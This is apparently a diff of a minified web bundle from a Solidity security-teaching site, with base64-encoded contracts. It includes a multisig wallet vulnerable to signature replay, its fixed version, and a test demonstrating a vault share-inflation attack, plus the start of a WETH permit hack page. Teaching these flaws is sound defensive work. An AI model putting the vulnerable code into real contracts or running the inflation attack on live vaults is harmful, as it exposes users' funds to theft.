czMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBleGVjdXRlZDsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzWzJdIG1lbW9yeSBfb3duZXJzKSBwYXlhYmxlIHsKICAgICAgICBvd25lcnMgPSBfb3duZXJzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lncwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMzMiB0eEhhc2ggPSBnZXRUeEhhc2goX3RvLCBfYW1vdW50LCBfbm9uY2UpOwogICAgICAgIHJlcXVpcmUoIWV4ZWN1dGVkW3R4SGFzaF0sICJ0eCBleGVjdXRlZCIpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIGV4ZWN1dGVkW3R4SGFzaF0gPSB0cnVlOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKGFkZHJlc3MgX3RvLCB1aW50MjU2IF9hbW91bnQsIHVpbnQyNTYgX25vbmNlKQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfdG8sIF9hbW91bnQsIF9ub25jZSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9jaGVja1NpZ3MoYnl0ZXNbMl0gbWVtb3J5IF9zaWdzLCBieXRlczMyIF90eEhhc2gpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJ5dGVzMzIgZXRoU2lnbmVkSGFzaCA9IF90eEhhc2gudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfc2lncy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHNpZ25lciA9IGV0aFNpZ25lZEhhc2gucmVjb3Zlcihfc2lnc1tpXSk7CiAgICAgICAgICAgIGJvb2wgdmFsaWQgPSBzaWduZXIgPT0gb3duZXJzW2ldOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KfQoKLyoKLy8gb3duZXJzCjB4ZTE5YWVhOTNGNkMxZEJlZjZBMzc3Njg0OGJFMDk5QTdjMzI1M2FjOAoweGZhODU0RkU1MzM5ODQzYjNlOUJmZDg1NTRCMzhCRDA0MkE0MmUzNDAKCi8vIHRvCjB4ZTEwNDIyY2M2MTAzMEM4QjNkQkNEMzZjN2U3ZThFQzNCNTI3RTBBYwovLyBhbW91bnQKMTAwCi8vIG5vbmNlCjAKLy8gdHggaGFzaAoweDEyYTA5NTQ2MmViZmNhMjdkYzRkOTlmZWVmODg1YmZlNTgzNDRmYjZiYjQyYzNjNTJhN2MwZDY4MzZkMTE0NDgKCi8vIHNpZ25hdHVyZXMKMHgxMjBmOGVkOGYyZmE1NTQ5OGYyZWYwYTIyZjI2ZTM5YjliNTFlZDI5Y2M5M2ZlMGVmM2VkMTc1NmY1OGZhZDBjNmViNWExZDZmMzY3MWY4ZDUxNjM2MzlmZGM0MGJiODcyMGRlNmQ4ZjI1MjMwNzdhZDZkMTEzOGE2MDkyM2I4MDFjCjB4YTI0MGE0ODdkZTFlYjViYjk3MWU5MjBjYjA2NzdhNDdkZGM2NDIxZTM4ZjdiMDQ4ZjhhYTg4MjY2YjJjODg0YTEwNDU1YTUyZGM3NmEyMDNhMWE5YTk1MzQxODQ2OWY5ZWVjMmM1OWU4NzIwMWJiYzhkYjBlNGQ5Nzk2OTM1Y2IxYgoqLwo="},{fileName:"SigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50LCBieXRlc1syXSBtZW1vcnkgX3NpZ3MpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUeEhhc2goYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RvLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncyhieXRlc1syXSBtZW1vcnkgX3NpZ3MsIGJ5dGVzMzIgX3R4SGFzaCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9Cg=="}],q0=`

                                  Signing messages off-chain and having a contract that requires that signature before executing a function is a useful technique.

                                  For example this technique is used to:

                                    @@ -10857,7 +10857,7 @@ if the signer's intention was to approve a transaction once.

                                    ); } } -`,aZ=({prev:s,next:a})=>r.jsx(A,{version:O0,title:P0,description:$0,html:sZ,prev:s,next:a,codes:q0}),nZ="0.8.24",lZ="Vault Inflation",pZ="An example of vault inflation",eZ=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIElFUkMyMCwKICAgIFZhdWx0LAogICAgVG9rZW4KfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3MvdmF1bHQtaW5mbGF0aW9uL1ZhdWx0SW5mbGF0aW9uLnNvbCI7Cgp1aW50OCBjb25zdGFudCBERUNJTUFMUyA9IDE4OwoKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYWRkcmVzcygxMSksIGFkZHJlc3MoMTIpXTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdG9rZW4gPSBuZXcgVG9rZW4oKTsKICAgICAgICB2YXVsdCA9IG5ldyBWYXVsdChhZGRyZXNzKHRva2VuKSk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHVzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHRva2VuLm1pbnQodXNlcnNbaV0sIDEwMDAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgICAgIHZtLnByYW5rKHVzZXJzW2ldKTsKICAgICAgICAgICAgdG9rZW4uYXBwcm92ZShhZGRyZXNzKHZhdWx0KSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBwcmludCgpIHByaXZhdGUgewogICAgICAgIGNvbnNvbGUyLmxvZygidmF1bHQgdG90YWwgc3VwcGx5IiwgdmF1bHQudG90YWxTdXBwbHkoKSk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBiYWxhbmNlIiwgdG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModmF1bHQpKSk7CiAgICAgICAgdWludDI1NiBzaGFyZXMwID0gdmF1bHQuYmFsYW5jZU9mKHVzZXJzWzBdKTsKICAgICAgICB1aW50MjU2IHNoYXJlczEgPSB2YXVsdC5iYWxhbmNlT2YodXNlcnNbMV0pOwogICAgICAgIGNvbnNvbGUyLmxvZygidXNlcnNbMF0gc2hhcmVzIiwgc2hhcmVzMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJ1c2Vyc1sxXSBzaGFyZXMiLCBzaGFyZXMxKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzBdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczApKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzFdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczEpKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICAvLyB1c2Vyc1swXSBkZXBvc2l0IDEKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkZXBvc2l0IC0tLSIpOwogICAgICAgIHZtLnByYW5rKHVzZXJzWzBdKTsKICAgICAgICB2YXVsdC5kZXBvc2l0KDEpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzBdIGRvbmF0ZSAxMDAKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkb25hdGUgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHRva2VuLnRyYW5zZmVyKGFkZHJlc3ModmF1bHQpLCAxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1sxXSBkZXBvc2l0IDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzFdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMV0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKICAgIH0KfQo="}],cZ=`

                                    Vulnerability

                                    +`,sZ=({prev:s,next:a})=>r.jsx(A,{version:L0,title:O0,description:P0,html:q0,prev:s,next:a,codes:$0}),aZ="0.8.24",nZ="Vault Inflation",lZ="An example of vault inflation",pZ=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIElFUkMyMCwKICAgIFZhdWx0LAogICAgVG9rZW4KfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3MvdmF1bHQtaW5mbGF0aW9uL1ZhdWx0SW5mbGF0aW9uLnNvbCI7Cgp1aW50OCBjb25zdGFudCBERUNJTUFMUyA9IDE4OwoKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYWRkcmVzcygxMSksIGFkZHJlc3MoMTIpXTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdG9rZW4gPSBuZXcgVG9rZW4oKTsKICAgICAgICB2YXVsdCA9IG5ldyBWYXVsdChhZGRyZXNzKHRva2VuKSk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHVzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHRva2VuLm1pbnQodXNlcnNbaV0sIDEwMDAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgICAgIHZtLnByYW5rKHVzZXJzW2ldKTsKICAgICAgICAgICAgdG9rZW4uYXBwcm92ZShhZGRyZXNzKHZhdWx0KSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBwcmludCgpIHByaXZhdGUgewogICAgICAgIGNvbnNvbGUyLmxvZygidmF1bHQgdG90YWwgc3VwcGx5IiwgdmF1bHQudG90YWxTdXBwbHkoKSk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBiYWxhbmNlIiwgdG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModmF1bHQpKSk7CiAgICAgICAgdWludDI1NiBzaGFyZXMwID0gdmF1bHQuYmFsYW5jZU9mKHVzZXJzWzBdKTsKICAgICAgICB1aW50MjU2IHNoYXJlczEgPSB2YXVsdC5iYWxhbmNlT2YodXNlcnNbMV0pOwogICAgICAgIGNvbnNvbGUyLmxvZygidXNlcnNbMF0gc2hhcmVzIiwgc2hhcmVzMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJ1c2Vyc1sxXSBzaGFyZXMiLCBzaGFyZXMxKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzBdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczApKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzFdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczEpKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICAvLyB1c2Vyc1swXSBkZXBvc2l0IDEKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkZXBvc2l0IC0tLSIpOwogICAgICAgIHZtLnByYW5rKHVzZXJzWzBdKTsKICAgICAgICB2YXVsdC5kZXBvc2l0KDEpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzBdIGRvbmF0ZSAxMDAKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkb25hdGUgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHRva2VuLnRyYW5zZmVyKGFkZHJlc3ModmF1bHQpLCAxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1sxXSBkZXBvc2l0IDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzFdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMV0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKICAgIH0KfQo="}],eZ=`

                                    Vulnerability

                                    Vault shares can be inflated by donating ERC20 token to the vault.

                                    Attacker can exploit this behavior to steal other user's deposits.

                                    Example

                                    @@ -10935,7 +10935,7 @@ if the signer's intention was to approve a transaction once.

                                    print(); } } -`,tZ=({prev:s,next:a})=>r.jsx(A,{version:nZ,title:lZ,description:pZ,html:cZ,prev:s,next:a,codes:eZ}),oZ="0.8.24",rZ="WETH Permit",iZ="An example of WETH permit hack",gZ=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFic3RyYWN0IGNvbnRyYWN0IEVSQzIwIHsKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50CiAgICApOwoKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKICAgIHN0cmluZyBwdWJsaWMgc3ltYm9sOwogICAgdWludDggcHVibGljIGltbXV0YWJsZSBkZWNpbWFsczsKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIGFsbG93YW5jZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aXJ0dWFsCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICBhbGxvd2FuY2VbbXNnLnNlbmRlcl1bc3BlbmRlcl0gPSBhbW91bnQ7CiAgICAgICAgZW1pdCBBcHByb3ZhbChtc2cuc2VuZGVyLCBzcGVuZGVyLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgdWludDI1NiBhbGxvd2VkID0gYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdOwogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KSB7CiAgICAgICAgICAgIGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXSA9IGFsbG93ZWQgLSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIGZyb20sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT